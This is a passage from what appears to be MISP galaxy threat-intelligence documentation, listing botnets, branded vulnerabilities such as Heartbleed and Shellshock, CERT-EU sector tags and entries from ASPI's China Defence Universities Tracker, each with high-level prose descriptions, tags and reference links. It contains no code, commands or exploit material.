The tag is: misp-galaxy:botnet="Hide and Seek"

Hide and Seek is also known as:

HNS
Hide 'N Seek

Hide and Seek has relationships with:

similar: misp-galaxy:malpedia="Hide and Seek" with estimative-language:likelihood-probability="likely"

Table 535. Table References
Links
https://www.bleepingcomputer.com/news/security/hide-and-seek-becomes-first-iot-botnet-capable-of-surviving-device-reboots/
https://www.bleepingcomputer.com/news/security/new-hns-iot-botnet-has-already-amassed-14k-bots/
https://www.bleepingcomputer.com/news/security/hide-and-seek-botnet-adds-infection-vector-for-android-devices/

Mettle

Command-and-control panel and the scanner of this botnet is hosted on a server residing in Vietnam. Attackers have been utilizing an open-sourced Mettle attack module to implant malware on vulnerable routers.

The tag is: misp-galaxy:botnet="Mettle"

Table 536. Table References
Links
https://thehackernews.com/2018/05/botnet-malware-hacking.html

Owari

IoT botnet, Mirai variant that has added three exploits to its arsenal. After a successful exploit, this bot downloads its payload, Owari bot - another Mirai variant - or Omni bot. Author is called WICKED

The tag is: misp-galaxy:botnet="Owari"

Owari has relationships with:

similar: misp-galaxy:malpedia="Owari" with estimative-language:likelihood-probability="likely"
variant-of: misp-galaxy:botnet="Mirai" with estimative-language:likelihood-probability="likely"
variant-of: misp-galaxy:tool="Mirai" with estimative-language:likelihood-probability="likely"
variant-of: misp-galaxy:botnet="Sora" with estimative-language:likelihood-probability="likely"

Table 537. Table References
Links
https://www.fortinet.com/blog/threat-research/a-wicked-family-of-bots.html

Brain Food

Brain Food is usually the second step in a chain of redirections, its PHP code is polymorphic and obfuscated with multiple layers of base64 encoding. Backdoor functionalities are also embedded in the code allowing remote execution of shell code on web servers which are configured to allow the PHP 'system' command.

The tag is: misp-galaxy:botnet="Brain Food"

Table 538. Table References
Links
https://www.proofpoint.com/us/threat-insight/post/brain-food-botnet-gives-website-operators-heartburn

Pontoeb

The bot gathers information from the infected system through WMI queries (SerialNumber, SystemDrive, operating system, processor architecture), which it then sends back to a remote attacker. It installs a backdoor giving an attacker the possibility to run command such as: download a file, update itself, visit a website and perform HTTP, SYN, UDP flooding

The tag is: misp-galaxy:botnet="Pontoeb"

Pontoeb is also known as:

N0ise

Table 539. Table References
Links
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:MSIL/Pontoeb.J
http://dataprotectioncenter.com/general/are-you-beta-testing-malware/

Trik Spam Botnet

The tag is: misp-galaxy:botnet="Trik Spam Botnet"

Trik Spam Botnet is also known as:

Trik Trojan

Table 540. Table References
Links
https://www.bleepingcomputer.com/news/security/trik-spam-botnet-leaks-43-million-email-addresses/

Madmax

The tag is: misp-galaxy:botnet="Madmax"

Madmax is also known as:

Mad Max

Madmax has relationships with:

similar: misp-galaxy:tool="Mad Max" with estimative-language:likelihood-probability="likely"

Table 541. Table References
Links
https://news.softpedia.com/news/researchers-crack-mad-max-botnet-algorithm-and-see-in-the-future-506696.shtml

Pushdo

The tag is: misp-galaxy:botnet="Pushdo"

Pushdo has relationships with:

similar: misp-galaxy:malpedia="Pushdo" with estimative-language:likelihood-probability="likely"

Table 542. Table References
Links
https://labs.bitdefender.com/2013/12/in-depth-analysis-of-pushdo-botnet/

Simda

The tag is: misp-galaxy:botnet="Simda"

Simda has relationships with:

similar: misp-galaxy:malpedia="Simda" with estimative-language:likelihood-probability="likely"

Table 543. Table References
Links
https://www.us-cert.gov/ncas/alerts/TA15-105A

Virut

The tag is: misp-galaxy:botnet="Virut"

Virut has relationships with:

similar: misp-galaxy:malpedia="Virut" with estimative-language:likelihood-probability="likely"

Table 544. Table References
Links
https://en.wikipedia.org/wiki/Virut

Beebone

The tag is: misp-galaxy:botnet="Beebone"

Table 545. Table References
Links
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/web-attack/151/beebone-botnet-takedown-trend-micro-solutions

Bamital

The tag is: misp-galaxy:botnet="Bamital"

Bamital is also known as:

Mdrop-CSK
Agent-OCF

Table 546. Table References
Links
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Win32%2FBamital
https://www.symantec.com/security-center/writeup/2010-070108-5941-99

Gafgyt

Linux.Gafgyt is a Trojan horse that opens a back door on the compromised computer and steals information. The new Gafgyt version targets a newly disclosed vulnerability affecting older, unsupported versions of SonicWall’s Global Management System (GMS).

The tag is: misp-galaxy:botnet="Gafgyt"

Gafgyt is also known as:

Bashlite

Gafgyt has relationships with:

similar: misp-galaxy:tool="Gafgyt" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="Bashlite" with estimative-language:likelihood-probability="likely"

Table 547. Table References
Links
https://researchcenter.paloaltonetworks.com/2018/09/unit42-multi-exploit-iotlinux-botnets-mirai-gafgyt-target-apache-struts-sonicwall/
https://www.symantec.com/security-center/writeup/2014-100222-5658-99

Sora

Big changes on the IoT malware scene. Security researchers have spotted a version of the Mirai IoT malware that can run on a vast range of architectures, and even on Android devices. This Mirai malware strain is called Sora, a strain that was first spotted at the start of the year.Initial versions were nothing out of the ordinary, and Sora’s original author soon moved on to developing the Mirai Owari version, shortly after Sora’s creation.

The tag is: misp-galaxy:botnet="Sora"

Sora is also known as:

Mirai Sora

Sora has relationships with:

variant-of: misp-galaxy:botnet="Mirai" with estimative-language:likelihood-probability="likely"
variant-of: misp-galaxy:tool="Mirai" with estimative-language:likelihood-probability="likely"
variant-of: misp-galaxy:botnet="Owari" with estimative-language:likelihood-probability="likely"

Table 548. Table References
Links
https://www.bleepingcomputer.com/news/security/mirai-iot-malware-uses-aboriginal-linux-to-target-multiple-platforms/

Torii

we have been observing a new malware strain, which we call Torii, that differs from Mirai and other botnets we know of, particularly in the advanced techniques it uses. The developers of the botnet seek wide coverage and for this purpose they created binaries for multiple CPU architectures, tailoring the malware for stealth and persistence.

The tag is: misp-galaxy:botnet="Torii"

Torii has relationships with:

similar: misp-galaxy:malpedia="Torii" with estimative-language:likelihood-probability="likely"

Table 549. Table References
Links
https://blog.avast.com/new-torii-botnet-threat-research
https://www.bleepingcomputer.com/news/security/new-iot-botnet-torii-uses-six-methods-for-persistence-has-no-clear-purpose/

Persirai

A new Internet of Things (IoT) botnet called Persirai (Detected by Trend Micro as ELF_PERSIRAI.A) has been discovered targeting over 1,000 Internet Protocol (IP) Camera models based on various Original Equipment Manufacturer (OEM) products. This development comes on the heels of Mirai—an open-source backdoor malware that caused some of the most notable incidents of 2016 via Distributed Denial-of-Service (DDoS) attacks that compromised IoT devices such as Digital Video Recorders (DVRs) and CCTV cameras—as well as the Hajime botnet.

The tag is: misp-galaxy:botnet="Persirai"

Persirai has relationships with:

similar: misp-galaxy:malpedia="Persirai" with estimative-language:likelihood-probability="likely"

Table 550. Table References
Links
https://blog.trendmicro.com/trendlabs-security-intelligence/persirai-new-internet-things-iot-botnet-targets-ip-cameras/

Chalubo

Since early September, SophosLabs has been monitoring an increasingly prolific attack targeting Internet-facing SSH servers on Linux-based systems that has been dropping a newly-discovered family of denial-of-service bots we’re calling Chalubo. The attackers encrypt both the main bot component and its corresponding Lua script using the ChaCha stream cipher. This adoption of anti-analysis techniques demonstrates an evolution in Linux malware, as the authors have adopted principles more common to Windows malware in an effort to thwart detection. Like some of its predecessors, Chalubo incorporates code from the Xor.DDoS and Mirai malware families.

The tag is: misp-galaxy:botnet="Chalubo"

Table 551. Table References
Links
https://news.sophos.com/en-us/2018/10/22/chalubo-botnet-wants-to-ddos-from-your-server-or-iot-device/

AESDDoS

Our honeypot sensors recently detected an AESDDoS botnet malware variant (detected by Trend Micro as Backdoor.Linux.AESDDOS.J) exploiting a server-side template injection vulnerability (CVE-2019-3396) in the Widget Connector macro in Atlassian Confluence Server, a collaboration software program used by DevOps professionals.

The tag is: misp-galaxy:botnet="AESDDoS"

Table 552. Table References
Links
https://blog.trendmicro.com/trendlabs-security-intelligence/aesddos-botnet-malware-exploits-cve-2019-3396-to-perform-remote-code-execution-ddos-attacks-and-cryptocurrency-mining/

Branded Vulnerability

List of known vulnerabilities and attacks with a branding.

Branded Vulnerability is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP.

authors: Unknown

Meltdown

Meltdown exploits the out-of-order execution feature of modern processors, allowing user-level programs to access kernel memory using processor caches as covert side channels. This is specific to the way out-of-order execution is implemented in the processors. This vulnerability has been assigned CVE-2017-5754.

The tag is: misp-galaxy:branded-vulnerability="Meltdown"

Spectre

Spectre exploits the speculative execution feature that is present in almost all processors in existence today. Two variants of Spectre are known and seem to depend on what is used to influence erroneous speculative execution. The first variant triggers speculative execution by performing a bounds check bypass and has been assigned CVE-2017-5753. The second variant uses branch target injection for the same effect and has been assigned CVE-2017-5715.

The tag is: misp-galaxy:branded-vulnerability="Spectre"

Heartbleed

Heartbleed is a security bug in the OpenSSL cryptography library, which is a widely used implementation of the Transport Layer Security (TLS) protocol. It was introduced into the software in 2012 and publicly disclosed in April 2014. Heartbleed may be exploited regardless of whether the vulnerable OpenSSL instance is running as a TLS server or client. It results from improper input validation (due to a missing bounds check) in the implementation of the TLS heartbeat extension, thus the bug’s name derives from heartbeat. The vulnerability is classified as a buffer over-read,[5] a situation where more data can be read than should be allowed.

The tag is: misp-galaxy:branded-vulnerability="Heartbleed"

Shellshock

Shellshock, also known as Bashdoor, is a family of security bugs in the widely used Unix Bash shell, the first of which was disclosed on 24 September 2014. Many Internet-facing services, such as some web server deployments, use Bash to process certain requests, allowing an attacker to cause vulnerable versions of Bash to execute arbitrary commands. This can allow an attacker to gain unauthorized access to a computer system.

The tag is: misp-galaxy:branded-vulnerability="Shellshock"

Ghost

The GHOST vulnerability is a serious weakness in the Linux glibc library. It allows attackers to remotely take complete control of the victim system without having any prior knowledge of system credentials. CVE-2015-0235 has been assigned to this issue. During a code audit Qualys researchers discovered a buffer overflow in the __nss_hostname_digits_dots() function of glibc. This bug can be triggered both locally and remotely via all the gethostbyname*() functions. Applications have access to the DNS resolver primarily through the gethostbyname*() set of functions. These functions convert a hostname into an IP address.

The tag is: misp-galaxy:branded-vulnerability="Ghost"

Stagefright

Stagefright is the name given to a group of software bugs that affect versions 2.2 ("Froyo") and newer of the Android operating system. The name is taken from the affected library, which among other things, is used to unpack MMS messages. Exploitation of the bug allows an attacker to perform arbitrary operations on the victim’s device through remote code execution and privilege escalation. Security researchers demonstrate the bugs with a proof of concept that sends specially crafted MMS messages to the victim device and in most cases requires no end-user actions upon message reception to succeed—the user doesn’t have to do anything to ‘accept’ the bug, it happens in the background. The phone number is the only target information.

The tag is: misp-galaxy:branded-vulnerability="Stagefright"

Badlock

Badlock is a security bug disclosed on April 12, 2016 affecting the Security Account Manager (SAM) and Local Security Authority (Domain Policy) (LSAD) remote protocols[1] supported by Windows and Samba servers.

The tag is: misp-galaxy:branded-vulnerability="Badlock"

Dirty COW

Dirty COW (Dirty copy-on-write) is a computer security vulnerability for the Linux kernel that affects all Linux-based operating systems including Android. It is a local privilege escalation bug that exploits a race condition in the implementation of the copy-on-write mechanism in the kernel’s memory-management subsystem. The vulnerability was discovered by Phil Oester. Because of the race condition, with the right timing, a local attacker can exploit the copy-on-write mechanism to turn a read-only mapping of a file into a writable mapping. Although it is a local privilege escalation, remote attackers can use it in conjunction with other exploits that allow remote execution of non-privileged code to achieve remote root access on a computer. The attack itself does not leave traces in the system log.

The tag is: misp-galaxy:branded-vulnerability="Dirty COW"

POODLE

The POODLE attack (which stands for "Padding Oracle On Downgraded Legacy Encryptio") is a man-in-the-middle exploit which takes advantage of Internet and security software clients' fallback to SSL 3.0. If attackers successfully exploit this vulnerability, on average, they only need to make 256 SSL 3.0 requests to reveal one byte of encrypted messages. Bodo Möller, Thai Duong and Krzysztof Kotowicz from the Google Security Team discovered this vulnerability; they disclosed the vulnerability publicly on October 14, 2014 (despite the paper being dated "September 2014" ). Ivan Ristic does not consider the POODLE attack as serious as the Heartbleed and Shellshock attacks. On December 8, 2014 a variation of the POODLE vulnerability that affected TLS was announced.

The tag is: misp-galaxy:branded-vulnerability="POODLE"

BadUSB

The ‘BadUSB’ vulnerability exploits unprotected firmware in order to deliver malicious code to computers and networks. This is achieved by reverse-engineering the device and reprogramming it. As the reprogrammed firmware is not monitored or assessed by modern security software, this attack method is extremely difficult for antivirus/security software to detect and prevent.

The tag is: misp-galaxy:branded-vulnerability="BadUSB"

ImageTragick

The tag is: misp-galaxy:branded-vulnerability="ImageTragick"

Blacknurse

Blacknurse is a low bandwidth DDoS attack involving ICMP Type 3 Code 3 packets causing high CPU loads first discovered in November 2016. The earliest samples we have seen supporting this DDoS method are from September 2017.

The tag is: misp-galaxy:branded-vulnerability="Blacknurse"

SPOILER

SPOILER is a security vulnerability on modern computer central processing units that uses speculative execution to improve the efficiency of Rowhammer and other related memory and cache attacks. According to reports, all modern Intel CPUs are vulnerable to the attack. AMD has stated that its processors are not vulnerable.

The tag is: misp-galaxy:branded-vulnerability="SPOILER"

Table 553. Table References
Links
https://arxiv.org/pdf/1903.00446v1.pdf
https://appleinsider.com/articles/19/03/05/new-spoiler-vulnerability-in-all-intel-core-processors-exposed-by-researchers
https://www.overclock3d.net/news/cpu_mainboard/spoiler_alert_-intel_cpus_impacted_by_new_vulnerability/1[https://www.overclock3d.net/news/cpu_mainboard/spoiler_alert-_intel_cpus_impacted_by_new_vulnerability/1]
https://www.1e.com/news-insights/blogs/the-spoiler-vulnerability/
https://www.bleepingcomputer.com/news/security/amd-believes-spoiler-vulnerability-does-not-impact-its-processors/

BlueKeep

A ‘wormable’ critical Remote Code Execution (RCE) vulnerability in Remote Desktop Services that could soon become the new go-to vector for spreading malware

The tag is: misp-galaxy:branded-vulnerability="BlueKeep"

Table 554. Table References
Links
https://www.welivesecurity.com/2019/05/22/patch-now-bluekeep-vulnerability/

Cert EU GovSector

Cert EU GovSector.

Cert EU GovSector is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP.

authors: Various

Constituency

The tag is: misp-galaxy:cert-eu-govsector="Constituency"

EU-Centric

The tag is: misp-galaxy:cert-eu-govsector="EU-Centric"

EU-nearby

The tag is: misp-galaxy:cert-eu-govsector="EU-nearby"

World-class

The tag is: misp-galaxy:cert-eu-govsector="World-class"

Unknown

The tag is: misp-galaxy:cert-eu-govsector="Unknown"

Outside World

The tag is: misp-galaxy:cert-eu-govsector="Outside World"

China Defence Universities Tracker

The China Defence Universities Tracker is a database of Chinese institutions engaged in military or security-related science and technology research. It was created by ASPI’s International Cyber Policy Centre..

China Defence Universities Tracker is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP.

authors: Australian Strategic Policy Institute

Academy of Military Science (中国人民解放军军事科学院)

AMS is responsible for leading and coordinating military science for the whole military. AMS is involved in not only the development of theory, strategy, and doctrine but also advancing national defense innovation. Pursuant to the PLA reforms, AMS has undergone dramatic changes starting in June 2017. At a July 2017 ceremony marking the AMS’s reorganisation, Xi urged the AMS to construct a ‘world-class military scientific research institution.’ Through the National Defence Science and Technology Innovation Institute, the AMS is pursuing research in cutting-edge technologies including unmanned systems, artificial intelligence, biotechnology and quantum technology.

The tag is: misp-galaxy:china-defence-universities="Academy of Military Science (中国人民解放军军事科学院)"

Table 555. Table References
Links
https://unitracker.aspi.org.au/universities/academy-of-military-science

Aero Engine Corporation of China (中国航空发动机集团有限公司)

AECC is a leading producer of aircraft parts for the People’s Liberation Army (PLA), having separated from its parent company the Aviation Industry Corporation of China (AVIC) in 2016. The company reports having 27 affiliated or subordinate companies, three major listed companies, and 84,000 staff. AVIC and the Commercial Aircraft Corporation of China (also known as COMAC) are major shareholders in AECC.AECC’s main products include aircraft engines, combustion gas turbines, and transmission systems. AECC also develops aircraft power units, helicopter drive systems, monocrystalline blades, turbine disks, and graphene.AECC was established in order to improve China’s capability in developing domestically built aircraft engines as part of the ‘Made in China 2025’ program. A priority is strengthening its supply chains within China. Though indigenously developed engines have proven challenging for AECC, the company had purported success in providing thrust vector control technology for the J-10B fighter jet.

The tag is: misp-galaxy:china-defence-universities="Aero Engine Corporation of China (中国航空发动机集团有限公司)"

Table 556. Table References
Links
https://unitracker.aspi.org.au/universities/aero-engine-corporation-of-china

Air Force Command College (中国人民解放军空军指挥学院)

The PLA Air Force Command College in Beijing is considered the PLA Air Force’s ‘peak institution for educating mid-rank and senior officers’ for command posts across the service. The college has a long history and was initially established in Nanjing during the early years of the People’s Republic in 1958.The Air Force Command College offers a range of degree programmes, mainly at the postgraduate level, including training in military disciplines such as military history, strategy, and tactics. It has published research on control science and radar. The college’s other specialties include battlefield command, military operations as well as political–ideological education.

The tag is: misp-galaxy:china-defence-universities="Air Force Command College (中国人民解放军空军指挥学院)"

Table 557. Table References
Links
https://unitracker.aspi.org.au/universities/air-force-command-college

Air Force Communication NCO Academy (中国人民解放军空军通信士官学校)

The Air Force Communications Officers Academy is the PLA’s premier institution for the training of non-commissioned officers in communications systems and security. Established in 1986 as the Dalian Communications NCO College, the institution was renamed after Xi Jinping’s military reforms in 2017. The academy’s areas of research include command automation and satellite communications, along with wired and wireless communications.

The tag is: misp-galaxy:china-defence-universities="Air Force Communication NCO Academy (中国人民解放军空军通信士官学校)"

Table 558. Table References
Links
https://unitracker.aspi.org.au/universities/air-force-communications-officers-college

Air Force Early Warning Academy (中国人民解放军空军预警学院)

The Air Force Early Warning Academy is ‘an institution that trains military personnel from the PLA Air Force and Navy’s radar and electronic warfare units in command, engineering and technology’ that was established after the amalgamation of the Air Defence Academy and Radar College in 1958. As such, the Air Force Early Warning Academy focuses its research on radar engineering, information command systems engineering, networked command engineering, and early warning detection systems.

The tag is: misp-galaxy:china-defence-universities="Air Force Early Warning Academy (中国人民解放军空军预警学院)"

Table 559. Table References
Links
https://unitracker.aspi.org.au/universities/air-force-early-warning-academy

Air Force Engineering University (中国人民解放军空军工程大学)

The Air Force Engineering University (AFEU) is one of the PLA’s five comprehensive universities alongside NUDT, Naval Engineering University, PLA Information Engineering University and Army Engineering University. It trains students in a variety of engineering and military disciplines related to air combat.AFEU currently has around 8,000 students, including 1,600 postgraduate students. Its priority areas include technical studies in information and communication systems engineering as well as in social sciences such as in professional military training. Research into unmanned aerial vehicle technology is another important area of research at the university. In 2017, China’s Ministry of Education ranked AFEU equal fourth for armament science out of nine universities, only awarding it a B- grade for the discipline.Colleges under AFEU include:

The tag is: misp-galaxy:china-defence-universities="Air Force Engineering University (中国人民解放军空军工程大学)"

Table 560. Table References
Links
https://unitracker.aspi.org.au/universities/air-force-engineering-university

Air Force Flight Academy Shijiazhuang (空军石家庄飞行学院)

The tag is: misp-galaxy:china-defence-universities="Air Force Flight Academy Shijiazhuang (空军石家庄飞行学院)"

Table 561. Table References
Links
https://unitracker.aspi.org.au/universities/air-force-flight-academy-shijiazhuang

Air Force Harbin Flight Academy (空军哈尔滨飞行学院)

The Academy is home to the Air Force Harbin Flight Academy Simulation Training Center, 2,500m2 large-scale aircraft simulator where students can train in simulated transport and bomber aircraft. The Academy hopes to continue developing the Simulation Training Center into a ‘laboratory for air operations,’ including advanced trainings like simulated tactical confrontations.

The tag is: misp-galaxy:china-defence-universities="Air Force Harbin Flight Academy (空军哈尔滨飞行学院)"

Table 562. Table References
Links
https://unitracker.aspi.org.au/universities/air-force-harbin-flight-academy

Air Force Logistics University (中国人民解放军空军后勤学院)

The Air Force Logistics University is an institution devoted to the study of command, management and technology for the PLA, established in Shanxi by the Central Military Commission in 1954. The university focusses its research on ‘management engineering’ for military equipment such as weaponry and aircraft fuel and also maintains research programmes on air battle command and personnel management.

The tag is: misp-galaxy:china-defence-universities="Air Force Logistics University (中国人民解放军空军后勤学院)"

Table 563. Table References
Links
https://unitracker.aspi.org.au/universities/air-force-logistics-university

Air Force Medical University (中国人民解放军空军军医大学)

The Air Force Medical University, also known as the Fourth Military Medical University, is the PLA’s premier institution for research into medical and psychological sciences, having been placed under command of the Air Force after Xi Jinping’s military reforms in 2017. Its major areas of study are medical and psychological sciences tailored for personnel engaging in air and space operations, military preventative medicine and various other forms of clinical research.The Air Force Medical University conducts significant amounts of psychological research. Scientists from the Air Force Medical University have written studies on suicide, mental health across China, and mental health in military universities. The university’s scientists have also looked at the extent to which mindfulness training can reduce anxiety for undergraduates at military universities, and at how fear induced by virtual combat scenarios impacts decision-making. This indicates that the university is interested in issues of troop morale and decision-making in high-stress situations.

The tag is: misp-galaxy:china-defence-universities="Air Force Medical University (中国人民解放军空军军医大学)"

Table 564. Table References
Links
https://unitracker.aspi.org.au/universities/fourth-military-medical-university

Air Force Research Institute (中国人民解放军空军研究院)

The Air Force Research Institute is an air force scientific research institute, the successor to the Air Force Equipment Academy (空军装备研究院), that was established in 2017. The institute runs the Key Laboratory of Complex Aviation System Simulation (复杂航空系统仿真国防重点实验室) and carries out research on areas such as aircraft design, flight control, guidance and navigation, and electronic countermeasures.

The tag is: misp-galaxy:china-defence-universities="Air Force Research Institute (中国人民解放军空军研究院)"

Table 565. Table References
Links
https://unitracker.aspi.org.au/universities/air-force-research-institute

Air Force Xi’an Flight Academy (中国人民解放军空军西安飞行学院)

Created upon the merger of the PLA Air Force’s Second and Fifth Flight Academies in 2011, the Air Force Xi’an Flight Academy specialises in training airmen in aviation while passing on the PLA’s ‘revolutionary traditions’. It remains ‘one of the Air Force’s three advanced institutions in air combat, and is known to train the PLA Air Force’s JJ-7 fighter pilots. Given this focus on training, the institution engages in little scientific research.

The tag is: misp-galaxy:china-defence-universities="Air Force Xi’an Flight Academy (中国人民解放军空军西安飞行学院)"

Table 566. Table References
Links
https://unitracker.aspi.org.au/universities/air-force-xian-flight-academy

Anhui University (安徽大学)

Anhui University is overseen by the Anhui Provincial Government. In January 2019, defence industry agency SASTIND and the Anhui Provincial Government signed an agreement to jointly develop Anhui University. This agreement with SASTIND suggests that the university will increase its role in defense research in the future.

The tag is: misp-galaxy:china-defence-universities="Anhui University (安徽大学)"

Table 567. Table References
Links
https://unitracker.aspi.org.au/universities/anhui-university

Army Academy of Armored Forces (中国人民解放军陆军装甲兵学院)

The Army Academy of the Armored Forces is China’s lead institute responsible for training and research for armoured combat. This includes a focus on tank warfare, mechanised artillery and infantry operations. The academy offers training in ‘armored combat command, surveillance and intelligence, operational tactics’ as well as in engineering disciplines relevant to operations involving the PLA Ground Force’s armoured corps, such as materials science, mechanical engineering, electrical engineering and automation, communications engineering, weapons systems engineering and photoelectric information science.

The tag is: misp-galaxy:china-defence-universities="Army Academy of Armored Forces (中国人民解放军陆军装甲兵学院)"

Table 568. Table References
Links
https://unitracker.aspi.org.au/universities/army-academy-of-armored-forces

Army Academy of Artillery and Air Defense (中国人民解放军陆军炮兵防空兵学院)

The Army Academy of Artillery and Air Defense is an institution devoted to training artillery and air defence officers in the PLA Ground Force. Its areas of focus include electrical engineering and automation, munitions engineering and explosives technology, radar engineering, and missile engineering.

The tag is: misp-galaxy:china-defence-universities="Army Academy of Artillery and Air Defense (中国人民解放军陆军炮兵防空兵学院)"

Table 569. Table References
Links
https://unitracker.aspi.org.au/universities/army-academy-of-artillery-and-air-defense

Army Academy of Border and Coastal Defense (中国人民解放军陆军边海学院)

With a history dating back to 1941, the Army Academy of Border and Coastal Defense is the only institution of higher education devoted to training PLA Ground Force personnel in border and coastal defence operations. Its subjects of focus include firepower command and control engineering, and command information systems engineering.

The tag is: misp-galaxy:china-defence-universities="Army Academy of Border and Coastal Defense (中国人民解放军陆军边海学院)"

Table 570. Table References
Links
https://unitracker.aspi.org.au/universities/army-academy-of-border-and-coastal-defense

Army Aviation College (中国人民解放军陆军航空兵学院)

The Army Aviation College is the PLA’s institution responsible for training mid-career helicopter pilots from the PLA Air Force and aviation officers from the PLA Ground Force. The college’s subject areas include aircraft and engine design, aviation communications and air defence systems, flight radar maintenance engineering, and combat aircraft maintenance engineering.

The tag is: misp-galaxy:china-defence-universities="Army Aviation College (中国人民解放军陆军航空兵学院)"

Table 571. Table References
Links
https://unitracker.aspi.org.au/universities/army-aviation-college

Army Engineering University (中国人民解放军陆军工程大学)

The Army Engineering University was established in 2017 following the abolition of the PLA University of Science and Technology. The university is devoted to research on ‘engineering, technology and combat command systems’ for the PLA Land Force.The university’s areas of research include:

The tag is: misp-galaxy:china-defence-universities="Army Engineering University (中国人民解放军陆军工程大学)"

Table 572. Table References
Links
https://unitracker.aspi.org.au/universities/army-engineering-university

Army Infantry Academy (中国人民解放军陆军步兵学院)

The Army Infantry Academy is a higher education institution in China devoted to providing elementary training in command for infantry soldiers in the PLA Ground Force. The academy teaches courses in operational disciplines such as command information systems engineering, armored vehicles engineering and weapons systems engineering. As well as providing formal teaching, the Army Infantry Academy also provides oversight for training exercises and electronic warfare simulations.

The tag is: misp-galaxy:china-defence-universities="Army Infantry Academy (中国人民解放军陆军步兵学院)"

Table 573. Table References
Links
https://unitracker.aspi.org.au/universities/army-infantry-academy

Army Medical University (中国人民解放军陆军军医大学)

The PLA Army Medical University, formerly known as the Third Military Medical University, is a medical education university affiliated with the PLA Ground Force. It was formed in 2017 through a merger with the PLA Western Theater Command Urumqi Comprehensive Training Base’s Military Medical Training Brigade and the Tibet Military Region’s Eighth Hospital. The Army Medical University includes six national key laboratories and 32 Ministry of Education or military key laboratories. It has won military awards for science and technology progress and seven national science and technology prizes.

The tag is: misp-galaxy:china-defence-universities="Army Medical University (中国人民解放军陆军军医大学)"

Table 574. Table References
Links
https://unitracker.aspi.org.au/universities/army-medical-university

Army Military Transportation Academy (中国人民解放军陆军军事交通学院)

The Army Military Transport Academy is a higher education institution devoted to training PLA Ground Force personnel in military transport and logistics. The academy focusses on military transport command engineering, command and automation engineering, ordnance engineering, and armament sustainment command.

The tag is: misp-galaxy:china-defence-universities="Army Military Transportation Academy (中国人民解放军陆军军事交通学院)"

Table 575. Table References
Links
https://unitracker.aspi.org.au/universities/army-military-transportation-academy-2

Army Research Institute (中国人民解放军陆军研究院)

The Army Research Institute is an institution devoted to advanced defence research with applications to land warfare. The institute engages in a variety of defence research including radar technology, lasers, and hybrid electric vehicles. Researchers from the institute are known to have collaborated with partners from China’s civilian universities in areas such as advanced manufacturing and automatic control, and laser technology.The Army Research Institute collaborates with civilian companies as part of China’s military-civil fusion program. For example, General Guo Guangsheng from the Army Research Institute made a visit to Hong Run Precision Instruments Co. Ltd. (虹润精密仪器有限公司) on 24 August 2019 to assess how the company was performing in its military-civil fusion activities. Researchers from the Army Research Institute have also been involved in the product design and development of dual-use automobiles as part of a military-civil fusion project called ‘Research, Development and Commerialisation of Advanced Off-road Passenger Vehicles’ (新一代军民通用高端越野乘用汽车研发及产业化). The project included research into vehicles such as the BJ80 military and civilian off-road passenger vehicles as well as the BJ40L off-road vehicle.

The tag is: misp-galaxy:china-defence-universities="Army Research Institute (中国人民解放军陆军研究院)"

Table 576. Table References
Links
https://unitracker.aspi.org.au/universities/army-research-institute

Army Service Academy (中国人民解放军陆军勤务学院)

The Army Service Academy is an institution of higher education in the PLA devoted to training personnel in a variety of logistics disciplines. The logistics disciplines taught at the academy include: fuel logistics, military facility management, military procurement management, and integrated logistics management. Its areas of focus for defence research include military energy engineering, defence engineering, and management science and engineering.

The tag is: misp-galaxy:china-defence-universities="Army Service Academy (中国人民解放军陆军勤务学院)"

Table 577. Table References
Links
https://unitracker.aspi.org.au/universities/army-service-academy

Army Special Operations Academy (中国人民解放军陆军特种作战学院)

The academy’s key subjects include special operations command, surveillance and intelligence, and command information systems engineering.

The tag is: misp-galaxy:china-defence-universities="Army Special Operations Academy (中国人民解放军陆军特种作战学院)"

Table 578. Table References
Links
https://unitracker.aspi.org.au/universities/army-special-operations-academy

Aviation Industry Corporation of China (中国航空工业集团有限公司)

AVIC is a state-owned defence conglomerate established in 2008 that focuses on providing aerospace products for military and civilian customers. AVIC’s main product lines include a variety of aircraft for freight, commercial and military aviation along with other more specialised products such as printed circuit boards, liquid crystal displays and automotive parts, according to Bloomberg. AVIC also provides services to the aviation sector through flight testing, engineering, logistics and asset management.The conglomerate has over 400,000 employees and has a controlling share in around 200 companies. AVIC has over 25 subsidiaries listed on its website.AVIC is the PLA Air Force’s largest supplier of military aircraft, producing fighter jets, strike aircraft, unmanned aerial vehicles and surveillance aircraft. Along with its core work on military aircraft, AVIC also produces surface-to-air, air-to-surface and air-to-air missiles. Its headline projects include the J-10 and the J-11 fighter aircraft. AVIC’s subsidiary, the Shenyang Aircraft Corporation, was responsible for delivery of the J-15 fighter. Another subsidiary of AVIC, the Chengdu Aerospace Corporation, developed the PLA-AF’s J-20 stealth fighter jet.

The tag is: misp-galaxy:china-defence-universities="Aviation Industry Corporation of China (中国航空工业集团有限公司)"

Table 579. Table References
Links
https://unitracker.aspi.org.au/universities/aviation-industry-corporation-of-china

Aviation University of Air Force (中国人民解放军空军航空大学)

AUAF is one of China’s main institutions devoted to the training of air force pilots. Its areas of focus are training in flight command and research into aeronautical engineering. Disciplines taught at AUAF include command science and engineering, aerospace science and technology as well as political work and military command.AUAF scientists publish and attend conferences on radar technology and electronic countermeasures. For example, scientists from AUAF’s Information Countermeasures Division co-authored a publication on radar target recognition with a researcher from the PLA’s Unit 94936 – an aviation unit stationed in Hangzhou. AUAF scientists have also done notable work on complex systems radar and signal pre-sorting.

The tag is: misp-galaxy:china-defence-universities="Aviation University of Air Force (中国人民解放军空军航空大学)"

Table 580. Table References
Links
https://unitracker.aspi.org.au/universities/aviation-university-of-air-force

Beihang University (北京航空航天大学)

